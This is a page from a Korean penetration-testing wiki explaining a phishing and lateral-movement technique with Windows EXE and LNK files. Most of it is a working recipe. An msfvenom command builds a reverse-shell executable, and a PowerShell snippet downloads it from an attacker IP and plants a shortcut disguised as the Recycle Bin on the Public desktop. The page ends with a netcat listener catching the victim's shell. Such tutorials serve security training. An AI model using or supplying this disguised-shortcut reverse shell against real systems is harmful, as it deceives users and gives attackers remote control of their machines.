펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Scenario
  • References

Was this helpful?

Export as PDF
  1. 초기 침투
  2. Phishing

EXE + LNK

PreviousCommand FileNextwax

Last updated 1 month ago

Was this helpful?

Windows에서 실행 파일의 포맷은 exe 파일이며 lnk 파일은 바로가기 파일입니다. 이 두가지 파일을 통해서 Windows에서 실행되는 백도어 생성이 가능합니다. 파일이 실행되었을 때 Windows에서 출력되는 것은 아무것도 없기에 희생자는 본인이 악성파일을 클릭했다는 사실 조차 모를 수 있습니다.

Scenario

생각해볼 수 있는 시나리오 중 하나는 초기 침투에 성공한 공격자가 바로가기 파일에 악성코드를 심은 뒤, 공유 디렉토리에 업로드 함으로써 다른 사용자로 횡적이동을 하는 시나리오가 있습니다.

실습을 위해 먼저 리버스 쉘 실행 파일을 생성 후 공격자의 Windows 파워쉘에서 적절한 명령을 통해 "휴지통" 이라는 이름의 바로가기 파일을 생성합니다.

# 악성코드에 사용할 리버스 쉘을 생성
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o r.exe

# 파워쉘을 통한 바로가기 링크 생성
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("c:\Users\Public\Desktop\휴지통.lnk")
$lnk.IconLocation = "shell32.dll, 31"
$links = "http://192.168.200.132/r.exe"
$webclient = New-Object System.Net.WebClient;$webclient.DownloadFile($links, "C:\Windows\Temp\r.exe")
$lnk.TargetPath = "C:\Windows\Temp\r.exe"
$lnk.Save()

명령 실행 후에는 C:\Users\Public\Desktop 경로에 휴지통 아이콘의 바로가기 파일이 생성되었습니다. 희생자는 일반 휴지통이라고 생각하고 해당 파일을 클릭할 수 있고, 클릭하는 순간 공격자에게 사용자의 쉘이 넘겨집니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# nc -lvnp 9999
listening on [any] 9999 ...
connect to [192.168.200.132] from (UNKNOWN) [192.168.200.1] 30778
Microsoft Windows [Version 10.0.26100.2314]
(c) Microsoft Corporation. All rights reserved.

C:\Users\wiki\Desktop>whoami
whoami
\wiki

References

HTB Writeup - Mist | AxuraAxura
Logo